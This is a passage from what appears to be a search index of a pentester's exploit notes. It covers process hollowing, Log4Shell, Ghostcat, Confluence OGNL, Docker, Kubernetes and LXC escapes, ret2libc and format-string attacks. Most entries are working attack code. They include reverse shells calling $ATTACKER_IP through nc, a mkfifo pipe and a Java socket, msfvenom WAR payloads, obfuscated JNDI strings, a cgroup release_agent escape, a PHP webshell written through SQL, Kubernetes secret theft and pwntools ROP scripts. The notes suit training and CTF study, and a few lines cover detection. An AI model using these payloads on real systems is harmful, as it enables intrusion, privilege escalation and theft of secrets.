Reserves and commits pages (MEM_RESERVE | MEM_COMMIT)\n\t0x04 // Enables read/write access (PAGE_READWRITE)\n);\n```\n```c\nDWORD numberOfBytesRead; // Stores number of bytes read\n\nif (!ReadFile(\n\thMaliciousCode, // Handle of malicious image\n\tpMaliciousImage, // Allocated region of memory\n\tmaliciousFileSize, // File size of malicious image\n\t&numberOfBytesRead, // Number of bytes read\n\tNULL\n\t)) {\n\tcout << \"[!] Unable to read Malicious file into memory. Error: \" <<GetLastError()<< endl;\n\tTerminateProcess(target_pi->hProcess, 0);\n\treturn 1;\n}\n\nCloseHandle(hMaliciousCode);\n```\n* Get handle of dll\n```c\nHMODULE hNtdllBase = GetModuleHandleA(\"ntdll.dll\"); // Obtains the handle for ntdll\npfnZwUnmapViewOfSection pZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(\n\thNtdllBase, // Handle of ntdll\n\t\"ZwUnmapViewOfSection\" // API call to obtain\n); // Obtains ZwUnmapViewOfSection from ntdll\n\nDWORD dwResult = pZwUnmapViewOfSection(\n\ttarget_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structure\n\tpTargetImageBaseAddress // Base address of the process\n);\n```\n\n* Allocate memory for the target process\n```c\nPIMAGE_DOS_HEADER pDOSHeader = (PIMAGE_DOS_HEADER)pMaliciousImage; // Obtains the DOS header from the malicious image\nPIMAGE_NT_HEADERS pNTHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)pMaliciousImage + pDOSHeader->e_lfanew); // Obtains the NT header from e_lfanew\n\nDWORD sizeOfMaliciousImage = pNTHeaders->OptionalHeader.SizeOfImage; // Obtains the size of the optional header from the NT header structure\n\nPVOID pHollowAddress = VirtualAllocEx(\n\ttarget_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structure\n\tpTargetImageBaseAddress, // Base address of the process\n\tsizeOfMaliciousImage, // Byte size obtained from optional header\n\t0x3000, // Reserves and commits pages (MEM_RESERVE | MEM_COMMIT)\n\t0x40 // Enabled execute and read/write access (PAGE_EXECUTE_READWRITE)\n);\n```\n\n* Write to the process memory\n```c\nif (!WriteProcessMemory(\n\ttarget_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structure\n\tpTargetImageBaseAddress, // Base address of the process\n\tpMaliciousImage, // Local memory where the malicious file resides\n\tpNTHeaders->OptionalHeader.SizeOfHeaders, // Byte size of PE headers \n\tNULL\n)) {\n\tcout<< \"[!] Writting Headers failed. Error: \" << GetLastError() << endl;\n}\n```\n```c\nfor (int i = 0; i < pNTHeaders->FileHeader.NumberOfSections; i++) { // Loop based on number of sections in PE data\n\tPIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((LPBYTE)pMaliciousImage + pDOSHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER))); // Determines the current PE section header\n\n\tWriteProcessMemory(\n\t\ttarget_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structure\n\t\t(PVOID)((LPBYTE)pHollowAddress + pSectionHeader->VirtualAddress), // Base address of current section \n\t\t(PVOID)((LPBYTE)pMaliciousImage + pSectionHeader->PointerToRawData), // Pointer for content of current section\n\t\tpSectionHeader->SizeOfRawData, // Byte size of current section\n\t\tNULL\n\t);\n}\n```\n\n* Set entrypoint\n```c\nc.Eax = (SIZE_T)((LPBYTE)pHollowAddress + pNTHeaders->OptionalHeader.AddressOfEntryPoint); // Set the context structure pointer to the entry point from the PE optional header\n\nSetThreadContext(\n\ttarget_pi->hThread, // Handle to the thread obtained from the PROCESS_INFORMATION structure\n\t&c // Pointer to the stored context structure\n);\n```\n* Switch process state to running\n```c\nResumeThread(\n\ttarget_pi->hThread // Handle to the thread obtained from the PROCESS_INFORMATION structure\n);\n```\n","description":"","tags":[],"title":"Process Hollowing","uri":"/exploit/windows/process_injection/process_hollowing.html"},{"content":"CVE-2022-22965\n* [Mitre CVE details](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2022-22965)\n* Follow up to CVE-2010-1622 by circumventing the patch for the vulnerability\n* RCE of `*.jsp` files through tomcat HTTP post request\n\n* Conditions\n * > jdk9\n * Spring framework < 5.2, 5.2.0-19, 5.3.0-17\n * Apache tomcat\n * spring as WAR package\n * `spring-webvmc` or `spring-webflux` components of the spring framework\n\n\n","description":"","tags":[],"title":"CVE-2022-22965","uri":"/exploit/java/spring4shell.html"},{"content":"Ghostcat\n* CVE-2020-1938\n* Msfconsole or [exploitdb](https://www.exploit-db.com/exploits/48143)\n* Craft a manual war shell shown at [hacktrick's tomcat site](https://book.hacktricks.xyz/pentesting/pentesting-web/tomcat#reverse-shell)\n* upload the file via\n```sh\ncurl -T ./webshell.war -u 'user:password' http://$TARGET_IP:8080/manager/text/deploy?path=/shello\n``` \n* Visit the webshell at `$TARGET_IP:8080/shello/`\n* Alternatively use a war reverse shell via\n```sh\nmsfvenom -p java/jsp_shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=4449 -f war -o revshell.war\n```\n","description":"","tags":[],"title":"Ghostcat","uri":"/exploit/java/ghostcat.html"},{"content":"Ghidra Debug RCE\n* If debug mode is enabled, connect to it via `jdb`\n```sh\njdb -attach $TARGET_IP:$TARGET_PORT\n```\n```sh\nclasspath\nclasses\n```\n* Stop the service\n```sh\nstop in org.apache.logging.log4j.core.util.WatchManager$WatchRunnable.run()\n```\n* Wait until the breakpoint hits and start a reverse shell\n```sh\nprint new java.lang.Runtime().exec(\"nc.traditional $ATTACKER_IP 4449 -e /bin/sh\")\n```\n\n","description":"","tags":[],"title":"Ghidra Debug RCE","uri":"/exploit/java/ghidra_debug.html"},{"content":"Log4Shell\n* `log4j` < version 2.15.0rc2\n* [CVE-2021-44228](https://www.huntress.com/blog/rapid-response-critical-rce-vulnerability-is-affecting-java)\n* [log4j vulnerability tester](https://log4shell.huntress.com/)\n* [List of exploitable services](https://github.com/YfryTchsGD/Log4jAttackSurface)\n\n* Code inside a `param` value is parsed and a `${payload}` will be executed, for example\n```sh\n${sys:os.name}\n${sys:user.name}\n${log4j:configParentLocation}\n${ENV:PATH}\n${ENV:HOSTNAME}\n${java:version}\n```\n## Java Naming and Directory Interface JNDI\n\n* Vulnerability can be exploited via `${jndi:ldap://<attacker-IP>/foo}`\n\n## POC\n```sh\ncurl 'http://$TARGET:8983/solr/admin/cores?foo=?$\\{jndi:ldap://$ATTACKER_IP:4449\\}'\n```\n* Use HTTP header field as storage for payload or any other possible input field\n```HTTP\nX-Forwarded-For: ${jndi:ldap://$ATTACKER_IP:1389/foo}\nAccept: ${jndi:ldap://$ATTACKER_IP:1389/foo}\nX-Api-Version: ${jndi:ldap://$ATTACKER_IP:1389/foo}\n```\n\n## Usage\n\n* Fuzz endpoints to applicate the exploit on\n* Clone and build [marshallsec](https://github.com/mbechler/marshalsec) via `mvn clean package -DskipTests`\n* Java version should be the same as the one on the target\n* A Proxy LDAP server to an HTTP server is needed\n\n* Compile following Java reverse shell via `javac Exploit.java -source 8 -target 8` to Exploit.class\n```java\npublic class Exploit {\n static {\n try {\n java.lang.Runtime.getRuntime().exec(\"nc -e /bin/bash $ATTACKER_IP 4449\");\n } catch (Exception e) {\n e.printStackTrace();\n }\n }\n}\n```\nor another one \n```java \nimport java.io.InputStream;\nimport java.io.OutputStream;\nimport java.net.Socket;\n\npublic class Exploit {\n static {\n String host = \"$ATTACKER_IP\";\n int port = 4711;\n String cmd = \"/bin/sh\";\n try {\n Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();\n Socket s = new Socket(host, port);\n InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();\n OutputStream po = p.getOutputStream(), so = s.getOutputStream();\n while (!s.isClosed()) {\n while (pi.available() > 0)\n so.write(pi.read());\n while (pe.available() > 0)\n so.write(pe.read());\n while (si.available() > 0)\n po.write(si.read());\n so.flush();\n po.flush();\n Thread.sleep(50);\n try {\n p.exitValue();\n break;\n } catch (Exception e) {\n }\n }\n p.destroy();\n s.close();\n } catch (Exception e) {\n }\n }\n}\n```\n\n* Run the LDAP, HTTP and reverse shell\n```sh\njava -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer \"http://$ATTACKER_IP:8000/#Exploit\"\n```\n```sh\nphp -S 0.0.0.0:8000\n```\n```sh\nnc -lvnp 4449\n```\n\n* Trigger via `curl 'http://$TARGET:8983/solr/admin/cores?foo=$\\{jndi:ldap://$ATTACKER_IP:1389/Exploit\\}'`\n\n## Detection\n\n* [Log4Shell-Hashes](https://github.com/mubix/CVE-2021-44228-Log4Shell-Hashes.git)\n* [Vulnerable Class + Jar hashes](https://github.com/nccgroup/Cyber-Defence/tree/master/Intelligence/CVE-2021-44228)\n* [reddit mega thread](https://www.reddit.com/r/sysadmin/comments/reqc6f/log4j_0day_being_exploited_mega_thread_overview/)\n* [Yara rules](https://github.com/darkarnium/CVE-2021-44228)\n\n* Parse logs for `jndi`\n\n## Obfuscation \n\n* Possible bypasses are as follows\n```sh\n${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}\n${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}\n${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}\n${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}\n${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}\n${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}\n${${::-j}ndi:rmi://attackerendpoint.com/}\n```\n\n## Mitgation\n\n* [Apache Solr security news](https://solr.apache.org/security.html)\n* Add the following line to `solr.in.sh`\n```toml\nSOLR_OPTS=\"$SOLR_OPTS -Dlog4j2.formatMsgNoLookups=true\"\n10.10.90.21210.10.90.212\n```\n","description":"","tags":[],"title":"Log4Shell","uri":"/exploit/java/log4shell.html"},{"content":"CVE-2022-26134\n* [NIST CVE-2022-26134](https://nvd.nist.gov/vuln/detail/CVE-2022-26134)\n* Confluence versions:\n * 1.3.0 to 7.4.17\n * 7.13.0 to 7.13.7\n * 7.14.0 to 7.14.3 \n * 7.15.0 to 7.15.2 \n * 7.16.0 to 7.16.4\n * 7.17.0 to 7.17.4\n * 7.18.0 to 7.18.1 \n* Object Graph Navigation Language (OGNL)\n\n## Usage\n\n* Payload is a GET request which is set via the URI\n```sh\n ${@java.lang.Runtime@getRuntime().exec(\"touch /tmp/exploit\")}/\n```\n* URL encode and curl for PoC\n\n* Use [Naqwda's exploit](https://github.com/Nwqda/CVE-2022-26134.git)\n\n","description":"","tags":[],"title":"CVE-2022-26134","uri":"/exploit/java/OGNL/cve_2022_26134.html"},{"content":"ImageTragick\n* [ImageTragick Website](https://imagetragick.com)\n","description":"","tags":[],"title":"ImageTragick","uri":"/exploit/imagemagick/imagetragick.html"},{"content":"MicroK8s\n\n## Usage \n\n* Create `pod.yaml` configuration\n```yaml\napiVersion: v1\nkind: Pod\nmetadata:\n name: harry-podder\nspec:\n containers:\n - name: shell\n image: localhost:47111/alpine\n command:\n - \"/bin/bash\"\n - \"-c\"\n - \"sleep 10000\"\n volumeMounts:\n - name: root\n mountPath: /mnt/root\n volumes:\n - name: root\n hostPath:\n path: /\n type: Directory\n```\n\n* Deploy the pod\n```sh\nmicrok8s kubectl apply -f pod.yaml\n```\n* Run the Pod\n```sh\nmicrok8s kubectl exec -it harry-podder -- /bin/bash\n```\n\n\n","description":"","tags":[],"title":"MicroK8s","uri":"/exploit/level3_hypervisor/microk8s.html"},{"content":"LXC\n## Privilege Escalation\n\n### Member of lxd Group\n\n* [Hackingarticles article](https://www.hackingarticles.in/lxd-privilege-escalation/)\n* User has to be in `lxd` group, not necessarily `sudo`.\n\n#### Usage\n* Clone and build \n```sh\ngit clone https://github.com/saghul/lxd-alpine-builder.git\ncd lxd-alpine-builde && sudo && ./build alpine\n```\n* Upload to target\n* Import alpine image\n```sh\nlxc image import ./alpine-v3.14-x86_64-20210920_2132.tar.gz --alias myimage\n```\n* Prepare image\n```sh\nlxc image list\nlxc init myimage ignite -c security.privileged=true\nlxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true\nlxc start ignite\nlxc exec ignite /bin/sh\n```\n* Host `/` is mounted at `/mnt/root` inside the container\n* `root` directory is at `/mnt/root/root`\n\n\n","description":"","tags":[],"title":"LXC","uri":"/exploit/level3_hypervisor/lxc.html"},{"content":"Kubernetes\n* Check [kubeletctl](https://github.com/cyberark/kubeletctl.git) as well\n\n## Account Token\n* Snatch an account token from inside a pod\n* Use it via kubectl, watch out for authorizations and namespaces\n```sh\nkubectl --token $KUBE_TOKEN --insecure-skip-tls-verify --server=https://$TARGET_IP:6443 auth can-i --list\nkubectl --token $KUBE_TOKEN --insecure-skip-tls-verify --server=https://$TARGET_IP:6443 get namespaces\n```\n* Save secrets from namespaces as yaml file\n```sh\nkubectl --token $KUBE_TOKEN --insecure-skip-tls-verify --server=https://$TARGET_IP:6443 get secrets -o yaml -n kube-system > kube-system.yml\nkubectl --token $KUBE_TOKEN --insecure-skip-tls-verify --server=https://$TARGET_IP:6443 get secrets -n kube-system\n```\n* Specify secret\n```sh\nkubectl --token $KUBE_TOKEN --insecure-skip-tls-verify --server=https://$TARGET_IP:6443 get secrets flag -n kube-system -o yaml\n```\n\n## Privilege Escalation \n* [appsecco's blog](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216)\n* Show images via\n```sh\nkubectl --token $KUBE_TOKEN --insecure-skip-tls-verify --server=https://$TARGET_IP:6443 get pods\nkubectl --token $KUBE_TOKEN --insecure-skip-tls-verify --server=https://$TARGET_IP:6443 get pod <image> -o yaml\n```\n* Use a found image to create the following yaml file\n```yaml\napiVersion: v1\nkind: Pod\nmetadata:\n name: attacking-pod\nspec:\n containers:\n - image: <image name in found containers section> \n name: <name of image in found containers section>\n command: [ \"/bin/sh\", \"-c\", \"--\" ]\n args: [ \"while true; do sleep 30; done;\" ]\n volumeMounts:\n - mountPath: /host\n name: host\n volumes:\n - name: host\n hostPath:\n path: /\n type: Directory\n```\n* `/` of the node is mounted to `/host` inside the new pod\n* Create the pod via\n```sh\nkubectl --token $KUBE_TOKEN --insecure-skip-tls-verify --server=https://$TARGET_IP:6443 apply -f <filename.yaml>\n```\n* Run an interactive session on the pod\n```sh\nkubectl --token $KUBE_TOKEN --insecure-skip-tls-verify --server=https://$TARGET_IP:6443 exec -it attacking-pod -- /bin/bash\n```\n","description":"","tags":[],"title":"Kubernetes","uri":"/exploit/level3_hypervisor/kubernetes.html"},{"content":"Docker Vulnerabilities\n* [Container enumeration](https://github.com/stealthcopter/deepce)\n\n## Abusing Registry\n* [Registry Doc](https://docs.docker.com/registry/spec/api/)\n* Registry is a json API endpoint\n* Private registry added in `/etc/docker/daemon.json`\n* Can be found by nmap as a service\n\n### Enumeration\n* General query\n```sh\ncurl http://test.com:5000/v2/_catalog`\n```\n* List tags\n```sh\ncurl http://test.com:5000/v2/<REPO>/<APP>/tags/list\n```\n* `history` section of the json object contains commands executed at build phase. May contain sensitive data like passwords.\n```sh\ncurl http://test.com:5000/v2/<REPO>/<APP>/manifest/<TAG>\n```\n\n## Reversing Docker Images\n* [Dive](https://github.com/wagoodman/dive)\n```sh\ndive <IMAGE-ID>\n```\n\n## Uploading Images to Registry\n* Ever image has a `latest` tag\n* Upload modified docker image as `latest`\n* [Article](https://www.trendmicro.com/vinfo/us/security/news/virtualization-and-cloud/malicious-docker-hub-container-images-cryptocurrency-mining)\n\n## RCE via Exposed Docker Daemon\n* Users inside the `docker` group may open tcp socket through docker\n* `nmap -sV -p- <IP> -vv` to find exposed tcp sockets via docker\n* Confirming via `curl http://test.com:2375/version` on open docker port\n* Execute commands on socket\n ```sh \n docker -H tcp://test.com:2375 ps\n docker -H tcp://test.com:2375 exec <container> <cmd>\n docker -H tcp://$TARGET_IP:2375 run -it -v /:/mnt/host alpine:3.9 /bin/sh\n ```\n\n* [root please](https://registry.hub.docker.com/r/chrisfosterelli/rootplease)\n\n## Escape Container via Exposed Docker Daemon\n* Looking for exposed docker sockets\n```sh\nfind / -name \"*sock\"\ngroups\n```\n\n* Mount the host volume and chroot to it, need alpine image. \n```sh\ndocker images\ndocker run -v /:/mnt --rm -it alpine chroot /mnt sh\n```\nor\n```sh\ndocker run -v /:/host --rm -it <imageID> chroot /host/ bash\n```\n\n## Shared Namespaces\n* Namespaces\n* Cgroups\n* OverlayFS\n\n* Requires root inside the container\n\n* Execute command\n```sh\nnsenter --target 1 --mount sh\n```\n\n## Misconfiguration\n* Privileged container connect to the host directly, not through the docker engine\n* Execution of bins on the host from libs inside the container is possible\n```sh\ncapsh --print\n```\n* `man capabilities`\n\n* [PoC](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/#:~:text=The%20SYS_ADMIN%20capability%20allows%20a,security%20risks%20of%20doing%20so.)\n\n* Exploit and get a reverse shell to the host via\n```sh\nmkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x\necho 1 > /tmp/cgrp/x/notify_on_release\nhost_path=`sed -n 's/.*\\perdir=\\([^,]*\\).*/\\1/p' /etc/mtab`\necho \"$host_path/exploit\" > /tmp/cgrp/release_agent\necho '#!/bin/sh' > /exploit\necho \"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ATTACKER_IP 4711 >/tmp/f\" >> /exploit\nchmod a+x /exploit\nsh -c \"echo \\$\\$ > /tmp/cgrp/x/cgroup.procs\"\n```\n* The file may appear outside the container on the host system\n## Check fdisk\n\n* `fdisk -l` and `lsblk`, host bulk device may be exposed\n* Mount the device\n```sh\nmkdir /mnt/hostdev\nmount /dev/<hostVda> /mnt/hostdev\n```\n* Check `/dev` as well !!! and mount device\n\n## Creating a Container from inside another container\n\n* Needs root inside a container\n* Upload [static curl](https://github.com/moparisthebest/static-curl)\n* Check available images and containers\n```sh\ncurl-amd64 --unix-socket /run/docker.sock http://127.0.0.1/containers/json\ncurl-amd64 --unix-socket /run/docker.sock http://127.0.0.1/images/json\n```\n* Inside the container as root\n```sh\ncurl -X POST -H \"Content-Type: application/json\" --unix-socket /var/run/docker.sock http://localhost/containers/create -d '{\"Detach\":true,\"AttachStdin\":false,\"AttachStdout\":true,\"AttachStderr\":true,\"Tty\":false,\"Image\":\"<imagename>:latest\",\"HostConfig\":{\"Binds\": [\"/:/var/tmp\"]},\"Cmd\":[\"sh\", \"-c\", \"echo <ssh-key> >> /var/tmp/root/.ssh/authorized_keys\"]}'\n```\n* Return value is the ID\n* Start a container\n```sh\ncurl-amd64 -X POST -H \"Content-Type:application/json\" --unix-socket /var/run/docker.sock http://localhost/containers/<ID>/start\n```\n* Login in to the host via ssh remotely or socat locally\n```sh\nsocat - UNIX-CONNECT:/var/run/docker.sock\nPOST /containers/<CONTAINERID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1\nHost:\nConnection: Upgrade\nUpgrade: tcp\n\nHTTP/1.1 101 UPGRADED\nContent-Type: application/vnd.docker.raw-stream\nConnection: Upgrade\nUpgrade: tcp\n```\n\n## Escape through DB\n\n* Login into DB\n* Create table\n* Inject PHP code\n* Select table content intoa file the user can read\n* Execute the file\n```sql\ncreate table h4x0r (pwn varchar(1024));\ninsert into h4x0r (pwn) values ('<?php $cmd=$_GET[\u201ccmd\u201d];system($cmd);?>');\nselect '<?php $cmd=$_GET[\"cmd\"];system($cmd);?>' INTO OUTFILE '/var/www/html/shell.php';\n```\n* curl the webshell hon the exploited host\n```sh\ncurl <host-IP>/shell.php?cmd=id\n```\n\n## Dirty c0w\nhttps://github.com/dirtycow/dirtycow.github.io\n\n## runC\n[CVE-2019-5736](https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/)\n\n## Securing a Container\n* Least Privileges\n* Seccomp\n* Securing Registry via TLS\n\n## Checking if you are inside a container\n* Low process count\n```sh\nps aux\n```\n\n* `.dockerenv` in `/`\n```sh\ncd / && ls -lah\n```\n\n* cgroups contain docker names\n```sh\npwd /proc/1\ncat cgroups\n```\n","description":"","tags":[],"title":"Docker Vulnerabilities","uri":"/exploit/level3_hypervisor/docker_sec/docker.html"},{"content":"MAC Spoofing\n```sh\nmacof -i <interface>\n```\nor\n```sh\nettercap -T -i <interface> -P rand_flood -q -w file.pcap\n```\n","description":"","tags":[],"title":"MAC Spoofing","uri":"/exploit/network/mac_spoofing.html"},{"content":"ASLR\n## System Status\n\n* `0`, No randomization\n* `1`, Conservative, `*.so`, stack, `mmap`, VDSO and heap \n* `2`, full randomization\n\n## Disable\n\n```sh\necho 0 | sudo tee /proc/sys/kernel/randomize_va_space\n```\n\n\n","description":"","tags":[],"title":"ASLR","uri":"/exploit/binaries/aslr.html"},{"content":"Procedure Lookup Table, Global Offset Table\n* Both are part of dynamic binaries\n* PLT resolves called function address of shared object\n* A function call inside the binary, to a function inside a shared object is done via PLT\n* __PLT__ contains dynamic address, references GOT\n* __GOT__ contains the absolute address of the called functions. Dynamic linker updates the GOT\n* __Lazy Linking__ is the process of loading the called SO function after they are called for the first time\n\n\n## pwn\n\n* Overwrite the GOT address of a called functions, which then will be returned instead\n\n* Check the disassembly of the binary for SO function call\n```sh\nx/s <functionaddress>\nx/3i <functionaddress>\n```\n* This is the PLT address\n* Check the GOT address of the PLT. There should be `PTR` via `jmp` to the GOT address of the function\n\n* Rewrite this address with for example `system`. Take a look where it is placed\n```sh\np system\n```\n* Set the address of the `jmp` to GOT to `system` address\n```sh\nset *<foundGOTjmpAddress>=<foundSystemAddress>\n```\n\n* Fill the buffer with the argument to `system`\n","description":"","tags":[],"title":"Procedure Lookup Table, Global Offset Table","uri":"/exploit/binaries/plt_got.html"},{"content":"Ret2libc\n* [ir0nstone ret2libc](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/ret2libc)\n\n* Check binary via\n * `checksec`, PIE shows start address, RELRO shows permissions of r/w to got\n * `file`\n* Libc is affected by ASLR state of the machine, check via `cat /proc/sys/kernel/randomize_va_space`\n * Off = 0\n * Partial = 1\n * Full = 2\n* `got` contains dynamically loaded functions\n* `plt` contains used loaded dynamical functions\n\n## Finding something to execute\n* Interesting stuff to call from inside libc\n * `/bin/sh`\n * `system`\n\n## libc -- Finding Offsets \n\n* Find libc address at runtime via gbd\n```sh\ninfo sharedlibrary\n```\n\n### Manually\n* On target find `sh` address inside libc\n```sh\nstrings -a -t x /lib32/libc.so.6 | grep /bin/sh\n```\n* Sub from `system` address from inside libc\n```sh\nreadelf -s /lib32/libc.so.6 | grep system\n```\n\n### Measure the Buffer\n* With gef\n * `pattern create`\n * `run`\n * Use pattern\n * `pattern search $<register>`\n\n## ROP -- Creating a Chain\n\n* Creating a ROP chain to execute the `/bin/sh` with parameters\n* Check\n * Architecture\n * Calling convention\n\n### Manually\n\n```sh\nROPgadget --binary <file> | grep rdi\n```\n* Find `ret`s, to put in front of rdi\n```sh\nobjdump -d <file> | grep ret\n```\n\n## Automated \n\n* [xct's ropstar](https://github.com/xct/ropstar.git)\n\n## Example without ASLR\n```python\nfrom pwn import *\n\np = process('<binary>')\n\ncbase = 0x<libc_base>\nsys = cbase + <libc_system>\nsh = cbase + <libc_shell>\nrop_rdi = <found rop rdi>\nrop_ret = <found rop ret>\n\npayload = b'A' * <count>\npayload += b'B' * 8\npayload += p64(rop_ret)\npayload += p64(rop_rdi)\npayload += p64(sh)\npayload += p64(system)\npayload += p64(0x0) # end payload\n\np.recv()\np.sendline(payload)\np.interactive()\n```\n\n## Example with ASLR\n* Create context\n```python\n#!/usr/bin/env python3\n\nfrom pwn import *\n\ncontext.binary = binary = '<binary>'\nelf = ELF(binary)\nrop = ROP(elf)\nlibc = ELF('/lib/x86_64-linux-gnu/libc.so.6')\np = process()\n\n# ROP I, needed when ASL is enabled\npayload = b'A' * 18\npayload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])\npayload += p64(elf.got.gets)\npayload += p64(elf.plt.puts)\npayload += p64(elf.symbols.main)\n\np.recvline()\np.sendline(payload)\np.recvline()\nleak = u64(p.recvline().strip().ljust(8,b'\\0')) # ljust, pre padding for alignement\np.recvline()\n\nlog.info(f\"gets: {hex(leak)}\")\nlibc.address = leak - libc.symbols.gets\nlog.info(f\"libc address: {hex(libc.address)}\") # start address should be aligned\n\n# ROP II\npayload = b'A' * 18\npayload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])\npayload += p64(next(libc.search(b'/bin/sh')))\npayload += p64(rop.find_gadget(['ret'])[0])\npayload += p64(libc.symbols.system)\n\np.sendline(payload)\np.recvline()\np.interactive()\n```\n","description":"","tags":[],"title":"Ret2libc","uri":"/exploit/binaries/ret2libc.html"},{"content":"Radare2\n## Usage\n### Debug\n```sh\nr2 -d <binary>\n```\n* Analyze\n```sh\naaa\n```\n* Show all info\n```sh\nia\n```\n* Search for strings\n```sh\nizz\n```\n* Main address\n```sh\niM\n```\n* Entrypoint\n```sh\nie\n```\n* Current memory address\n```sh\ns\n```\n* Show address of function or register, respectively\n```sh\ns <func>\nsr <reg>\n```\n* Show main\n```sh\npdf @main\n```\n* Show main and follwing functions\n```sh\npd @main\n```\n* Breakpoint\n```sh\ndb 0xdeadbeef\n```\n* Show all breakpoints\n```sh\ndbi\n```\n* Show rbp-0x4\n```sh\npx @rbp-0x4\n```\n* Continue\n```sh\ndc\n``` \n* Step\n```sh\nds\n```\n* Show registers\n```sh\ndr\n```\n* Restart\n```sh\nood\n```\n### Visual Mode\n* Enter visual mode via `VV`\n* Enter normal mode inside visual mode via `:`\n* Add comment via `;`\n\n### Write Mode\n* Enter write mode via `w`\n* Write cache list via `wc`\n* Alter/modify opcode at current seek via `wA`\n* Use as follows\n```sh\ns <memoryaddress>\nwx <newOpcode>\ndc\n```\n\n## AT&T Instructions\n* leaq src, dst: this instruction sets dst to the address denoted by the expression in src\n* addq src, dst: dst = dst + src\n* subq src, dst: dst = dst - src\n* imulq src, dst: dst = dst * src\n* salq src, dst: dst = dst << src \n* sarq src, dst: dst = dst >> src\n* xorq src, dst: dst = dst XOR src\n* andq src, dst: dst = dst & src\n* orq src, dst: dst = dst | src\n\n","description":"","tags":[],"title":"Radare2","uri":"/exploit/binaries/r2.html"},{"content":"Integral Promotion\n* Conditions of data types with different max and min values provoke unforseen comparisions\n* Comparing `int` and `uint` with values above max leads to integral promotion\n\n* Check data type min and max\n```c\n#include <stdio.h>\n#include <limits.h>\n\nint main(void)\n{\n\n printf(\"CHAR_MAX: %i\\n\", CHAR_MAX); \n printf(\"UCHAR_MAX: %i\\n\", UCHAR_MAX);\n\n printf(\"SHORT_MAX: %i\\n\", SHRT_MAX); \n printf(\"USHORT_MAX: %i\\n\", USHRT_MAX);\n\n printf(\"INT_MAX: %i\\n\", INT_MAX); \n printf(\"UINT_MAX: %u\\n\", UINT_MAX);\n\n return 0;\n}\n```\n\n* Not only conditions are susceptable to integral promotions, a sum - for example - is too. Values for promotion in this example are `2147483647` and `1`. `c` is negative and leads to the shell \n```c\n int a,b,c;\n\n\n if(a >=0 && b >=0)\n if(c >= 0){\n printf(\"\\n[*] ADDING %d + %d\",a,b);\n printf(\"\\n[*] RESULT: %d\\n\",c);\n }\n else{\n system(\"/bin/sh\");\n }\n else\n printf(\"nope\");\n```\n","description":"","tags":[],"title":"Integral Promotion","uri":"/exploit/binaries/integral_promotion/integral_promotion.html"},{"content":"Format String\n* Read and write values from stack\n* [axcheron's writeup](https://axcheron.github.io/exploit-101-format-strings/)\n\n## Parameters\n\n|Parameters |Type |Passed as\n|-----------------|-------------------------------------------|-----------|\n%d decimal (int) value\n%u unsigned decimal (unsigned int) value\n%x hexadecimal (unsigned int) value\n%p hexadecimal (unsigned int), nice layout value\n%s string ((const) (unsigned) char*) reference\n%n write the number of bytes ypu put in, (*int) reference\n\n## Offset\n\n* Read at offset as pointer value at the 42th argument on the stack\n```sh\n%42$s\n```\n* If the pointer at the offset references a string you can dereference by\n```sh\n%42$s\n```\n\n## Length of output\n\n* Padding of the first argument on stack to the given length\n```sh\n%31337x\n```\n\n## Read\n\n* Input `%x` for every value that should be read from the stack. These are the next values at lower addresses, directly under the print format function\n```sh\n%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x \n```\n\n* Do long long hex reading from stack\n```sh\n%llx\n```\n\n* Select values as string, e.g. the second value\n```sh\n%2$s\n```\n* Another way of reading the pointer is via \n```sh\n%p\n```\n* Read pointer on stack at offset 42\n```sh\n%42$p\n```\n\n* [ir0stone's pwn-notes](https://github.com/ir0nstone/pwn-notes/blob/master/types/stack/format-string.md) contains some useful pwntool scripts like this one\n```python\nfrom pwn import *\n\n#p = process('./vuln')\np = remote(target_ip, 9006)\n\npayload = b'%14$p||||' \npayload += p32(0x8048000)\n\np.sendline(payload)\nlog.info(p.clean())\n```\n\n## Write\n\n* Writing is done via `%n`\n* An example, GOT overwrite. We want to replace the pointer address\n * Watch out for the `PTR` from PLT to GOT\n```sh\nobjdump -Mintel -d <binary>\n\n[...]\n0000000000401060 <printf@plt>:\n 401060:\tff 25 ca 2f 00 00 \tjmp QWORD PTR [rip+0x2fca] # 404030 <printf@GLIBC_2.2.5>\n 401066:\t68 03 00 00 00 \tpush 0x3\n 40106b:\te9 b0 ff ff ff \tjmp 401020 <_init+0x20>\n[...]\n```\n* The `PTR` derefences __0x404030__\n* As an example, the parameter is found at arg 6 on the stack\n* Write the 